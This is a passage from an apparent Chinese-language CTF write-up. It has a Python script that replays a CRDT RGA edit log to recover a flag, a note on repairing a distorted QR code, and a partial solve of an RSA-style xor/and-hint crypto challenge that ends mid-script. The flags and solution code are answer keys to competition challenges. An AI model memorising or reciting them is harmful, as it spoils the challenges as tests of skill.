1881
1882
1883
import json
from collections import defaultdict, deque

log_data = """
[
  {
    "op": "ins",
    "id": "A:1",
    "parent": "HEAD",
    "ch": "S",
    "site": "A",
    "ctr": 1
  },
  {
    "op": "del",
    "id": "B:48"
  },
  {
    "op": "del",
    "id": "C:15"
  },
  {
    "op": "del",
    "id": "B:35"
  },
  {
    "op": "ins",
    "id": "A:41",
    "parent": "B:1",
    "ch": "i",
    "site": "A",
    "ctr": 41
  },
  {
    "op": "del",
    "id": "C:13"
  },
  {
    "op": "del",
    "id": "A:54"
  },
  {
    "op": "del",
    "id": "A:39"
  },
  {
    "op": "ins",
    "id": "A:43",
    "parent": "C:2",
    "ch": "☆",
    "site": "A",
    "ctr": 43
  },
  {
    "op": "del",
    "id": "B:24"
  },
  {
    "op": "del",
    "id": "A:30"
  },
  {
    "op": "ins",
    "id": "A:29",
    "parent": "C:10",
    "ch": "Y",
    "site": "A",
    "ctr": 29
  },
  {
    "op": "ins",
    "id": "A:38",
    "parent": "B:8",
    "ch": "b",
    "site": "A",
    "ctr": 38
  },
  {
    "op": "del",
    "id": "A:48"
  },
  {
    "op": "ins",
    "id": "A:17",
    "parent": "A:7",
    "ch": "4",
    "site": "A",
    "ctr": 17
  },
  {
    "op": "ins",
    "id": "C:27",
    "parent": "B:11",
    "ch": "Y",
    "site": "C",
    "ctr": 27
  },
  {
    "op": "del",
    "id": "B:56"
  },
  {
    "op": "ins",
    "id": "A:47",
    "parent": "B:5",
    "ch": "t",
    "site": "A",
    "ctr": 47
  },
  {
    "op": "del",
    "id": "B:51"
  },
  {
    "op": "del",
    "id": "C:28"
  },
  {
    "op": "del",
    "id": "B:18"
  },
  {
    "op": "del",
    "id": "B:34"
  },
  {
    "op": "ins",
    "id": "B:8",
    "parent": "A:8",
    "ch": "_",
    "site": "B",
    "ctr": 8
  },
  {
    "op": "del",
    "id": "B:47"
  },
  {
    "op": "ins",
    "id": "B:14",
    "parent": "B:6",
    "ch": "f",
    "site": "B",
    "ctr": 14
  },
  {
    "op": "del",
    "id": "A:13"
  },
  {
    "op": "ins",
    "id": "A:5",
    "parent": "C:4",
    "ch": "_",
    "site": "A",
    "ctr": 5
  },
  {
    "op": "ins",
    "id": "A:31",
    "parent": "B:8",
    "ch": "A",
    "site": "A",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "C:20",
    "parent": "C:9",
    "ch": "4",
    "site": "C",
    "ctr": 20
  },
  {
    "op": "ins",
    "id": "B:10",
    "parent": "A:10",
    "ch": "_",
    "site": "B",
    "ctr": 10
  },
  {
    "op": "del",
    "id": "C:26"
  },
  {
    "op": "del",
    "id": "B:14"
  },
  {
    "op": "del",
    "id": "B:32"
  },
  {
    "op": "ins",
    "id": "C:41",
    "parent": "C:5",
    "ch": "_",
    "site": "C",
    "ctr": 41
  },
  {
    "op": "ins",
    "id": "B:28",
    "parent": "B:4",
    "ch": "m",
    "site": "B",
    "ctr": 28
  },
  {
    "op": "ins",
    "id": "B:44",
    "parent": "B:4",
    "ch": "I",
    "site": "B",
    "ctr": 44
  },
  {
    "op": "ins",
    "id": "A:11",
    "parent": "C:10",
    "ch": "A",
    "site": "A",
    "ctr": 11
  },
  {
    "op": "del",
    "id": "B:56"
  },
  {
    "op": "del",
    "id": "A:33"
  },
  {
    "op": "del",
    "id": "B:52"
  },
  {
    "op": "ins",
    "id": "A:52",
    "parent": "A:2",
    "ch": "≈",
    "site": "A",
    "ctr": 52
  },
  {
    "op": "ins",
    "id": "C:19",
    "parent": "B:11",
    "ch": "Q",
    "site": "C",
    "ctr": 19
  },
  {
    "op": "ins",
    "id": "C:17",
    "parent": "C:8",
    "ch": "x",
    "site": "C",
    "ctr": 17
  },
  {
    "op": "ins",
    "id": "C:28",
    "parent": "C:4",
    "ch": "1",
    "site": "C",
    "ctr": 28
  },
  {
    "op": "del",
    "id": "A:47"
  },
  {
    "op": "ins",
    "id": "B:13",
    "parent": "C:2",
    "ch": "b",
    "site": "B",
    "ctr": 13
  },
  {
    "op": "del",
    "id": "B:12"
  },
  {
    "op": "ins",
    "id": "C:1",
    "parent": "B:1",
    "ch": "C",
    "site": "C",
    "ctr": 1
  },
  {
    "op": "del",
    "id": "A:44"
  },
  {
    "op": "del",
    "id": "B:15"
  },
  {
    "op": "del",
    "id": "B:53"
  },
  {
    "op": "ins",
    "id": "A:32",
    "parent": "C:8",
    "ch": "P",
    "site": "A",
    "ctr": 32
  },
  {
    "op": "del",
    "id": "C:40"
  },
  {
    "op": "del",
    "id": "B:42"
  },
  {
    "op": "ins",
    "id": "C:36",
    "parent": "C:6",
    "ch": "p",
    "site": "C",
    "ctr": 36
  },
  {
    "op": "del",
    "id": "A:25"
  },
  {
    "op": "ins",
    "id": "A:3",
    "parent": "C:2",
    "ch": "D",
    "site": "A",
    "ctr": 3
  },
  {
    "op": "del",
    "id": "C:24"
  },
  {
    "op": "del",
    "id": "B:28"
  },
  {
    "op": "ins",
    "id": "B:23",
    "parent": "A:12",
    "ch": "★",
    "site": "B",
    "ctr": 23
  },
  {
    "op": "del",
    "id": "A:15"
  },
  {
    "op": "ins",
    "id": "A:35",
    "parent": "C:9",
    "ch": "R",
    "site": "A",
    "ctr": 35
  },
  {
    "op": "ins",
    "id": "B:42",
    "parent": "B:8",
    "ch": "8",
    "site": "B",
    "ctr": 42
  },
  {
    "op": "del",
    "id": "C:12"
  },
  {
    "op": "del",
    "id": "C:23"
  },
  {
    "op": "del",
    "id": "A:17"
  },
  {
    "op": "ins",
    "id": "A:51",
    "parent": "C:9",
    "ch": "3",
    "site": "A",
    "ctr": 51
  },
  {
    "op": "ins",
    "id": "A:55",
    "parent": "A:12",
    "ch": "6",
    "site": "A",
    "ctr": 55
  },
  {
    "op": "del",
    "id": "C:38"
  },
  {
    "op": "del",
    "id": "B:33"
  },
  {
    "op": "ins",
    "id": "A:30",
    "parent": "C:6",
    "ch": "←",
    "site": "A",
    "ctr": 30
  },
  {
    "op": "ins",
    "id": "B:9",
    "parent": "A:9",
    "ch": "_",
    "site": "B",
    "ctr": 9
  },
  {
    "op": "ins",
    "id": "A:4",
    "parent": "C:3",
    "ch": "R",
    "site": "A",
    "ctr": 4
  },
  {
    "op": "ins",
    "id": "B:51",
    "parent": "B:10",
    "ch": "U",
    "site": "B",
    "ctr": 51
  },
  {
    "op": "ins",
    "id": "C:21",
    "parent": "A:3",
    "ch": "a",
    "site": "C",
    "ctr": 21
  },
  {
    "op": "ins",
    "id": "B:29",
    "parent": "A:11",
    "ch": "s",
    "site": "B",
    "ctr": 29
  },
  {
    "op": "ins",
    "id": "C:9",
    "parent": "B:9",
    "ch": "S",
    "site": "C",
    "ctr": 9
  },
  {
    "op": "del",
    "id": "B:37"
  },
  {
    "op": "ins",
    "id": "A:33",
    "parent": "B:8",
    "ch": "b",
    "site": "A",
    "ctr": 33
  },
  {
    "op": "del",
    "id": "B:50"
  },
  {
    "op": "ins",
    "id": "A:50",
    "parent": "A:7",
    "ch": "1",
    "site": "A",
    "ctr": 50
  },
  {
    "op": "ins",
    "id": "B:4",
    "parent": "A:4",
    "ch": "G",
    "site": "B",
    "ctr": 4
  },
  {
    "op": "del",
    "id": "B:16"
  },
  {
    "op": "ins",
    "id": "B:52",
    "parent": "C:2",
    "ch": "/",
    "site": "B",
    "ctr": 52
  },
  {
    "op": "del",
    "id": "A:14"
  },
  {
    "op": "del",
    "id": "B:27"
  },
  {
    "op": "ins",
    "id": "C:40",
    "parent": "C:5",
    "ch": "J",
    "site": "C",
    "ctr": 40
  },
  {
    "op": "ins",
    "id": "A:23",
    "parent": "C:3",
    "ch": "❌",
    "site": "A",
    "ctr": 23
  },
  {
    "op": "ins",
    "id": "B:15",
    "parent": "B:5",
    "ch": "C",
    "site": "B",
    "ctr": 15
  },
  {
    "op": "del",
    "id": "B:44"
  },
  {
    "op": "del",
    "id": "B:26"
  },
  {
    "op": "del",
    "id": "B:43"
  },
  {
    "op": "ins",
    "id": "A:39",
    "parent": "C:2",
    "ch": "y",
    "site": "A",
    "ctr": 39
  },
  {
    "op": "del",
    "id": "B:21"
  },
  {
    "op": "ins",
    "id": "B:25",
    "parent": "C:6",
    "ch": "f",
    "site": "B",
    "ctr": 25
  },
  {
    "op": "ins",
    "id": "A:21",
    "parent": "C:6",
    "ch": "n",
    "site": "A",
    "ctr": 21
  },
  {
    "op": "del",
    "id": "C:17"
  },
  {
    "op": "ins",
    "id": "A:35",
    "parent": "C:9",
    "ch": "R",
    "site": "A",
    "ctr": 35
  },
  {
    "op": "del",
    "id": "A:46"
  },
  {
    "op": "del",
    "id": "A:34"
  },
  {
    "op": "del",
    "id": "A:19"
  },
  {
    "op": "ins",
    "id": "B:11",
    "parent": "A:11",
    "ch": "S",
    "site": "B",
    "ctr": 11
  },
  {
    "op": "ins",
    "id": "A:1",
    "parent": "HEAD",
    "ch": "S",
    "site": "A",
    "ctr": 1
  },
  {
    "op": "ins",
    "id": "B:2",
    "parent": "A:2",
    "ch": "C",
    "site": "B",
    "ctr": 2
  },
  {
    "op": "ins",
    "id": "A:6",
    "parent": "C:5",
    "ch": "A",
    "site": "A",
    "ctr": 6
  },
  {
    "op": "ins",
    "id": "A:9",
    "parent": "C:8",
    "ch": "S",
    "site": "A",
    "ctr": 9
  },
  {
    "op": "ins",
    "id": "A:24",
    "parent": "HEAD",
    "ch": "H",
    "site": "A",
    "ctr": 24
  },
  {
    "op": "del",
    "id": "B:39"
  },
  {
    "op": "ins",
    "id": "C:25",
    "parent": "B:2",
    "ch": "9",
    "site": "C",
    "ctr": 25
  },
  {
    "op": "ins",
    "id": "C:14",
    "parent": "B:9",
    "ch": "2",
    "site": "C",
    "ctr": 14
  },
  {
    "op": "del",
    "id": "C:37"
  },
  {
    "op": "del",
    "id": "C:36"
  },
  {
    "op": "del",
    "id": "A:28"
  },
  {
    "op": "ins",
    "id": "B:50",
    "parent": "B:4",
    "ch": "n",
    "site": "B",
    "ctr": 50
  },
  {
    "op": "ins",
    "id": "B:24",
    "parent": "A:3",
    "ch": "B",
    "site": "B",
    "ctr": 24
  },
  {
    "op": "del",
    "id": "A:51"
  },
  {
    "op": "del",
    "id": "A:29"
  },
  {
    "op": "ins",
    "id": "A:16",
    "parent": "C:1",
    "ch": "D",
    "site": "A",
    "ctr": 16
  },
  {
    "op": "ins",
    "id": "A:45",
    "parent": "A:12",
    "ch": "j",
    "site": "A",
    "ctr": 45
  },
  {
    "op": "del",
    "id": "B:22"
  },
  {
    "op": "del",
    "id": "A:57"
  },
  {
    "op": "ins",
    "id": "C:2",
    "parent": "B:2",
    "ch": "R",
    "site": "C",
    "ctr": 2
  },
  {
    "op": "del",
    "id": "C:12"
  },
  {
    "op": "ins",
    "id": "B:43",
    "parent": "B:5",
    "ch": "l",
    "site": "B",
    "ctr": 43
  },
  {
    "op": "ins",
    "id": "A:8",
    "parent": "C:7",
    "ch": "E",
    "site": "A",
    "ctr": 8
  },
  {
    "op": "ins",
    "id": "A:22",
    "parent": "B:4",
    "ch": "S",
    "site": "A",
    "ctr": 22
  },
  {
    "op": "ins",
    "id": "B:33",
    "parent": "C:7",
    "ch": "l",
    "site": "B",
    "ctr": 33
  },
  {
    "op": "del",
    "id": "C:21"
  },
  {
    "op": "del",
    "id": "C:39"
  },
  {
    "op": "del",
    "id": "C:20"
  },
  {
    "op": "ins",
    "id": "B:56",
    "parent": "B:4",
    "ch": "_",
    "site": "B",
    "ctr": 56
  },
  {
    "op": "del",
    "id": "B:55"
  },
  {
    "op": "ins",
    "id": "C:26",
    "parent": "A:1",
    "ch": "m",
    "site": "C",
    "ctr": 26
  },
  {
    "op": "ins",
    "id": "B:16",
    "parent": "B:6",
    "ch": "j",
    "site": "B",
    "ctr": 16
  },
  {
    "op": "ins",
    "id": "A:19",
    "parent": "A:3",
    "ch": "9",
    "site": "A",
    "ctr": 19
  },
  {
    "op": "ins",
    "id": "A:33",
    "parent": "B:8",
    "ch": "b",
    "site": "A",
    "ctr": 33
  },
  {
    "op": "ins",
    "id": "C:15",
    "parent": "A:8",
    "ch": "y",
    "site": "C",
    "ctr": 15
  },
  {
    "op": "ins",
    "id": "A:26",
    "parent": "A:9",
    "ch": "4",
    "site": "A",
    "ctr": 26
  },
  {
    "op": "ins",
    "id": "B:45",
    "parent": "A:8",
    "ch": "A",
    "site": "B",
    "ctr": 45
  },
  {
    "op": "ins",
    "id": "C:18",
    "parent": "A:5",
    "ch": "M",
    "site": "C",
    "ctr": 18
  },
  {
    "op": "ins",
    "id": "B:49",
    "parent": "B:1",
    "ch": "4",
    "site": "B",
    "ctr": 49
  },
  {
    "op": "del",
    "id": "B:46"
  },
  {
    "op": "ins",
    "id": "A:13",
    "parent": "C:5",
    "ch": "7",
    "site": "A",
    "ctr": 13
  },
  {
    "op": "del",
    "id": "C:30"
  },
  {
    "op": "del",
    "id": "A:23"
  },
  {
    "op": "del",
    "id": "A:40"
  },
  {
    "op": "ins",
    "id": "C:38",
    "parent": "C:2",
    "ch": "K",
    "site": "C",
    "ctr": 38
  },
  {
    "op": "ins",
    "id": "A:27",
    "parent": "B:9",
    "ch": "#",
    "site": "A",
    "ctr": 27
  },
  {
    "op": "del",
    "id": "A:44"
  },
  {
    "op": "ins",
    "id": "B:46",
    "parent": "B:8",
    "ch": "W",
    "site": "B",
    "ctr": 46
  },
  {
    "op": "del",
    "id": "B:25"
  },
  {
    "op": "ins",
    "id": "A:37",
    "parent": "B:3",
    "ch": "r",
    "site": "A",
    "ctr": 37
  },
  {
    "op": "del",
    "id": "C:16"
  },
  {
    "op": "ins",
    "id": "A:14",
    "parent": "B:2",
    "ch": "f",
    "site": "A",
    "ctr": 14
  },
  {
    "op": "del",
    "id": "A:49"
  },
  {
    "op": "ins",
    "id": "B:12",
    "parent": "A:7",
    "ch": "☆",
    "site": "B",
    "ctr": 12
  },
  {
    "op": "ins",
    "id": "C:34",
    "parent": "A:10",
    "ch": "t",
    "site": "C",
    "ctr": 34
  },
  {
    "op": "ins",
    "id": "B:38",
    "parent": "A:1",
    "ch": "u",
    "site": "B",
    "ctr": 38
  },
  {
    "op": "del",
    "id": "A:27"
  },
  {
    "op": "del",
    "id": "C:32"
  },
  {
    "op": "ins",
    "id": "A:20",
    "parent": "A:1",
    "ch": "A",
    "site": "A",
    "ctr": 20
  },
  {
    "op": "ins",
    "id": "B:22",
    "parent": "B:1",
    "ch": "S",
    "site": "B",
    "ctr": 22
  },
  {
    "op": "del",
    "id": "A:43"
  },
  {
    "op": "ins",
    "id": "A:18",
    "parent": "B:9",
    "ch": "w",
    "site": "A",
    "ctr": 18
  },
  {
    "op": "ins",
    "id": "A:48",
    "parent": "C:8",
    "ch": "d",
    "site": "A",
    "ctr": 48
  },
  {
    "op": "del",
    "id": "C:32"
  },
  {
    "op": "del",
    "id": "C:34"
  },
  {
    "op": "del",
    "id": "C:22"
  },
  {
    "op": "ins",
    "id": "B:44",
    "parent": "B:4",
    "ch": "I",
    "site": "B",
    "ctr": 44
  },
  {
    "op": "ins",
    "id": "B:5",
    "parent": "A:5",
    "ch": "C",
    "site": "B",
    "ctr": 5
  },
  {
    "op": "del",
    "id": "C:27"
  },
  {
    "op": "del",
    "id": "C:20"
  },
  {
    "op": "ins",
    "id": "A:15",
    "parent": "C:6",
    "ch": "#",
    "site": "A",
    "ctr": 15
  },
  {
    "op": "ins",
    "id": "C:29",
    "parent": "C:9",
    "ch": "U",
    "site": "C",
    "ctr": 29
  },
  {
    "op": "ins",
    "id": "C:24",
    "parent": "C:9",
    "ch": "k",
    "site": "C",
    "ctr": 24
  },
  {
    "op": "ins",
    "id": "A:12",
    "parent": "C:11",
    "ch": "}",
    "site": "A",
    "ctr": 12
  },
  {
    "op": "del",
    "id": "A:26"
  },
  {
    "op": "ins",
    "id": "B:36",
    "parent": "C:6",
    "ch": "T",
    "site": "B",
    "ctr": 36
  },
  {
    "op": "del",
    "id": "A:52"
  },
  {
    "op": "ins",
    "id": "A:40",
    "parent": "C:2",
    "ch": "_",
    "site": "A",
    "ctr": 40
  },
  {
    "op": "ins",
    "id": "C:7",
    "parent": "B:7",
    "ch": "G",
    "site": "C",
    "ctr": 7
  },
  {
    "op": "del",
    "id": "A:32"
  },
  {
    "op": "del",
    "id": "A:53"
  },
  {
    "op": "del",
    "id": "A:31"
  },
  {
    "op": "del",
    "id": "B:29"
  },
  {
    "op": "del",
    "id": "A:56"
  },
  {
    "op": "ins",
    "id": "C:10",
    "parent": "B:10",
    "ch": "E",
    "site": "C",
    "ctr": 10
  },
  {
    "op": "ins",
    "id": "A:49",
    "parent": "A:7",
    "ch": "z",
    "site": "A",
    "ctr": 49
  },
  {
    "op": "del",
    "id": "A:24"
  },
  {
    "op": "del",
    "id": "A:41"
  },
  {
    "op": "ins",
    "id": "B:37",
    "parent": "B:3",
    "ch": "B",
    "site": "B",
    "ctr": 37
  },
  {
    "op": "ins",
    "id": "A:10",
    "parent": "C:9",
    "ch": "O",
    "site": "A",
    "ctr": 10
  },
  {
    "op": "ins",
    "id": "B:7",
    "parent": "A:7",
    "ch": "N",
    "site": "B",
    "ctr": 7
  },
  {
    "op": "del",
    "id": "B:13"
  },
  {
    "op": "ins",
    "id": "B:17",
    "parent": "B:8",
    "ch": "P",
    "site": "B",
    "ctr": 17
  },
  {
    "op": "del",
    "id": "A:37"
  },
  {
    "op": "ins",
    "id": "B:41",
    "parent": "B:8",
    "ch": "A",
    "site": "B",
    "ctr": 41
  },
  {
    "op": "ins",
    "id": "A:36",
    "parent": "B:5",
    "ch": "c",
    "site": "A",
    "ctr": 36
  },
  {
    "op": "del",
    "id": "A:38"
  },
  {
    "op": "ins",
    "id": "B:19",
    "parent": "B:9",
    "ch": "6",
    "site": "B",
    "ctr": 19
  },
  {
    "op": "ins",
    "id": "A:44",
    "parent": "C:6",
    "ch": "≈",
    "site": "A",
    "ctr": 44
  },
  {
    "op": "del",
    "id": "B:54"
  },
  {
    "op": "del",
    "id": "C:35"
  },
  {
    "op": "del",
    "id": "B:49"
  },
  {
    "op": "del",
    "id": "B:29"
  },
  {
    "op": "del",
    "id": "C:41"
  },
  {
    "op": "ins",
    "id": "A:17",
    "parent": "A:7",
    "ch": "4",
    "site": "A",
    "ctr": 17
  },
  {
    "op": "del",
    "id": "A:16"
  },
  {
    "op": "ins",
    "id": "A:54",
    "parent": "C:6",
    "ch": "H",
    "site": "A",
    "ctr": 54
  },
  {
    "op": "ins",
    "id": "C:37",
    "parent": "A:11",
    "ch": "i",
    "site": "C",
    "ctr": 37
  },
  {
    "op": "ins",
    "id": "B:33",
    "parent": "C:7",
    "ch": "l",
    "site": "B",
    "ctr": 33
  },
  {
    "op": "ins",
    "id": "A:56",
    "parent": "A:10",
    "ch": "≈",
    "site": "A",
    "ctr": 56
  },
  {
    "op": "ins",
    "id": "A:31",
    "parent": "B:8",
    "ch": "A",
    "site": "A",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "C:30",
    "parent": "B:5",
    "ch": "_",
    "site": "C",
    "ctr": 30
  },
  {
    "op": "del",
    "id": "B:19"
  },
  {
    "op": "ins",
    "id": "B:17",
    "parent": "B:8",
    "ch": "P",
    "site": "B",
    "ctr": 17
  },
  {
    "op": "ins",
    "id": "B:39",
    "parent": "A:7",
    "ch": "→",
    "site": "B",
    "ctr": 39
  },
  {
    "op": "ins",
    "id": "A:46",
    "parent": "B:6",
    "ch": "G",
    "site": "A",
    "ctr": 46
  },
  {
    "op": "ins",
    "id": "B:47",
    "parent": "A:3",
    "ch": "P",
    "site": "B",
    "ctr": 47
  },
  {
    "op": "ins",
    "id": "C:3",
    "parent": "B:3",
    "ch": "_",
    "site": "C",
    "ctr": 3
  },
  {
    "op": "ins",
    "id": "A:53",
    "parent": "A:6",
    "ch": "L",
    "site": "A",
    "ctr": 53
  },
  {
    "op": "ins",
    "id": "B:18",
    "parent": "C:5",
    "ch": "4",
    "site": "B",
    "ctr": 18
  },
  {
    "op": "del",
    "id": "B:41"
  },
  {
    "op": "del",
    "id": "C:31"
  },
  {
    "op": "del",
    "id": "C:33"
  },
  {
    "op": "del",
    "id": "B:31"
  },
  {
    "op": "ins",
    "id": "C:11",
    "parent": "B:11",
    "ch": "Y",
    "site": "C",
    "ctr": 11
  },
  {
    "op": "ins",
    "id": "A:7",
    "parent": "C:6",
    "ch": "E",
    "site": "A",
    "ctr": 7
  },
  {
    "op": "ins",
    "id": "B:40",
    "parent": "B:11",
    "ch": "q",
    "site": "B",
    "ctr": 40
  },
  {
    "op": "del",
    "id": "A:20"
  },
  {
    "op": "ins",
    "id": "C:12",
    "parent": "A:7",
    "ch": "3",
    "site": "C",
    "ctr": 12
  },
  {
    "op": "ins",
    "id": "C:3",
    "parent": "B:3",
    "ch": "_",
    "site": "C",
    "ctr": 3
  },
  {
    "op": "ins",
    "id": "B:55",
    "parent": "B:1",
    "ch": "p",
    "site": "B",
    "ctr": 55
  },
  {
    "op": "del",
    "id": "C:25"
  },
  {
    "op": "ins",
    "id": "A:34",
    "parent": "C:5",
    "ch": "4",
    "site": "A",
    "ctr": 34
  },
  {
    "op": "del",
    "id": "B:30"
  },
  {
    "op": "del",
    "id": "A:21"
  },
  {
    "op": "del",
    "id": "B:38"
  },
  {
    "op": "del",
    "id": "B:33"
  },
  {
    "op": "ins",
    "id": "C:22",
    "parent": "C:5",
    "ch": "M",
    "site": "C",
    "ctr": 22
  },
  {
    "op": "ins",
    "id": "C:23",
    "parent": "A:9",
    "ch": "j",
    "site": "C",
    "ctr": 23
  },
  {
    "op": "ins",
    "id": "B:48",
    "parent": "C:1",
    "ch": "v",
    "site": "B",
    "ctr": 48
  },
  {
    "op": "ins",
    "id": "B:31",
    "parent": "B:2",
    "ch": "O",
    "site": "B",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "A:28",
    "parent": "HEAD",
    "ch": "M",
    "site": "A",
    "ctr": 28
  },
  {
    "op": "del",
    "id": "A:55"
  },
  {
    "op": "del",
    "id": "A:42"
  },
  {
    "op": "ins",
    "id": "B:27",
    "parent": "C:4",
    "ch": "0",
    "site": "B",
    "ctr": 27
  },
  {
    "op": "ins",
    "id": "A:50",
    "parent": "A:7",
    "ch": "1",
    "site": "A",
    "ctr": 50
  },
  {
    "op": "ins",
    "id": "C:16",
    "parent": "C:1",
    "ch": "K",
    "site": "C",
    "ctr": 16
  },
  {
    "op": "ins",
    "id": "C:6",
    "parent": "B:6",
    "ch": "L",
    "site": "C",
    "ctr": 6
  },
  {
    "op": "ins",
    "id": "A:25",
    "parent": "C:6",
    "ch": "n",
    "site": "A",
    "ctr": 25
  },
  {
    "op": "ins",
    "id": "B:34",
    "parent": "C:1",
    "ch": "f",
    "site": "B",
    "ctr": 34
  },
  {
    "op": "del",
    "id": "C:18"
  },
  {
    "op": "del",
    "id": "A:36"
  },
  {
    "op": "ins",
    "id": "B:1",
    "parent": "A:1",
    "ch": "Y",
    "site": "B",
    "ctr": 1
  },
  {
    "op": "ins",
    "id": "B:6",
    "parent": "A:6",
    "ch": "L",
    "site": "B",
    "ctr": 6
  },
  {
    "op": "del",
    "id": "C:14"
  },
  {
    "op": "ins",
    "id": "B:3",
    "parent": "A:3",
    "ch": "T",
    "site": "B",
    "ctr": 3
  },
  {
    "op": "del",
    "id": "A:50"
  },
  {
    "op": "del",
    "id": "B:20"
  },
  {
    "op": "ins",
    "id": "A:52",
    "parent": "A:2",
    "ch": "≈",
    "site": "A",
    "ctr": 52
  },
  {
    "op": "del",
    "id": "A:35"
  },
  {
    "op": "ins",
    "id": "B:30",
    "parent": "A:9",
    "ch": "★",
    "site": "B",
    "ctr": 30
  },
  {
    "op": "ins",
    "id": "C:5",
    "parent": "B:5",
    "ch": "H",
    "site": "C",
    "ctr": 5
  },
  {
    "op": "del",
    "id": "C:19"
  },
  {
    "op": "ins",
    "id": "C:8",
    "parent": "B:8",
    "ch": "I",
    "site": "C",
    "ctr": 8
  },
  {
    "op": "ins",
    "id": "A:2",
    "parent": "C:1",
    "ch": "{",
    "site": "A",
    "ctr": 2
  },
  {
    "op": "ins",
    "id": "B:54",
    "parent": "B:8",
    "ch": "Z",
    "site": "B",
    "ctr": 54
  },
  {
    "op": "ins",
    "id": "B:21",
    "parent": "A:10",
    "ch": "R",
    "site": "B",
    "ctr": 21
  },
  {
    "op": "del",
    "id": "B:17"
  },
  {
    "op": "ins",
    "id": "C:4",
    "parent": "B:4",
    "ch": "A",
    "site": "C",
    "ctr": 4
  },
  {
    "op": "del",
    "id": "C:29"
  },
  {
    "op": "ins",
    "id": "A:57",
    "parent": "B:5",
    "ch": "i",
    "site": "A",
    "ctr": 57
  },
  {
    "op": "ins",
    "id": "C:32",
    "parent": "A:2",
    "ch": "E",
    "site": "C",
    "ctr": 32
  },
  {
    "op": "ins",
    "id": "C:38",
    "parent": "C:2",
    "ch": "K",
    "site": "C",
    "ctr": 38
  },
  {
    "op": "del",
    "id": "B:45"
  },
  {
    "op": "ins",
    "id": "C:33",
    "parent": "A:6",
    "ch": "★",
    "site": "C",
    "ctr": 33
  },
  {
    "op": "del",
    "id": "B:36"
  },
  {
    "op": "ins",
    "id": "C:17",
    "parent": "C:8",
    "ch": "x",
    "site": "C",
    "ctr": 17
  },
  {
    "op": "del",
    "id": "A:45"
  },
  {
    "op": "ins",
    "id": "B:53",
    "parent": "HEAD",
    "ch": "E",
    "site": "B",
    "ctr": 53
  },
  {
    "op": "ins",
    "id": "B:32",
    "parent": "A:2",
    "ch": "Z",
    "site": "B",
    "ctr": 32
  },
  {
    "op": "del",
    "id": "C:36"
  },
  {
    "op": "del",
    "id": "A:18"
  },
  {
    "op": "ins",
    "id": "B:35",
    "parent": "A:9",
    "ch": "C",
    "site": "B",
    "ctr": 35
  },
  {
    "op": "ins",
    "id": "C:13",
    "parent": "C:4",
    "ch": "@",
    "site": "C",
    "ctr": 13
  },
  {
    "op": "ins",
    "id": "C:39",
    "parent": "A:9",
    "ch": "❌",
    "site": "C",
    "ctr": 39
  },
  {
    "op": "ins",
    "id": "C:31",
    "parent": "C:7",
    "ch": "D",
    "site": "C",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "B:26",
    "parent": "C:6",
    "ch": "★",
    "site": "B",
    "ctr": 26
  },
  {
    "op": "ins",
    "id": "A:42",
    "parent": "B:4",
    "ch": "w",
    "site": "A",
    "ctr": 42
  },
  {
    "op": "del",
    "id": "B:40"
  },
  {
    "op": "ins",
    "id": "B:20",
    "parent": "B:4",
    "ch": "9",
    "site": "B",
    "ctr": 20
  },
  {
    "op": "del",
    "id": "B:23"
  },
  {
    "op": "del",
    "id": "A:22"
  },
  {
    "op": "ins",
    "id": "C:35",
    "parent": "B:10",
    "ch": "v",
    "site": "C",
    "ctr": 35
  }
]
"""

ops = json.loads(log_data)

nodes = {}
children = defaultdict(list)
deleted = set()

for op in ops:
    if op["op"] == "ins":
        node_id = op["id"]
        parent = op["parent"]
        ch = op["ch"]
        nodes[node_id] = {"ch": ch, "parent": parent}
        children[parent].append(node_id)
    elif op["op"] == "del":
        deleted.add(op["id"])

def traverse(node_id):
    result = ""
    for child in sorted(children.get(node_id, [])):
        if child not in deleted:
            result += nodes[child]["ch"] + traverse(child)
    return result

final_text = traverse("HEAD")

print("Output:")
print(final_text)

flag

1
SYC{CRDT_RGA_CHALLENGE_IS_SO_EASY}

monitoring

解题记录

同一张二维码两个不同的方向扭曲 因为直接用ps调图片搞不出来,干脆直接重新画一张了,首先这是29*29的二维码 alt text 扫一扫直接出,虽然可能二维码有部分不太一样,但好在二维码有一定纠错功能

flag

1
SYC{shi_tte_ru_yo}

Crypto

ez_xor

解题记录

已知 N = p * q * s * r n = p * q gift = p ^ q gift1 = s & r gift2=s^r p和q可以用factordb分解 计算 s + r,解二次方程 x^2 - A*x + s_r = 0,算出phi和e即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from math import isqrt
from Crypto.Util.number import long_to_bytes

N=12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667
n=91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921
c=3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999
gift=5160856643507450510397828582001051679762426399445648048700295372044216322163410374903665868763924707209143638999442462398781974627158916257502760763419216
gift1=10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429
gift2=2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474
p =7347058180498476506950418253215069445545968207969914980520455662633717313659407471104204242158172803075449282408078252310036642316976286820260163628266163
q =12507230711101465546704208050956623660941100722518212464401483461793631816617115204878992746828172476791349975322386036828178155591256841441610173239204067

s_r = N // n
A = gift2 + 2 * gift1
D = A * A - 4 * s_r
sqrt_D = isqrt(D)
s = (A + sqrt_D) // 2
r = (A - sqrt_D) // 2
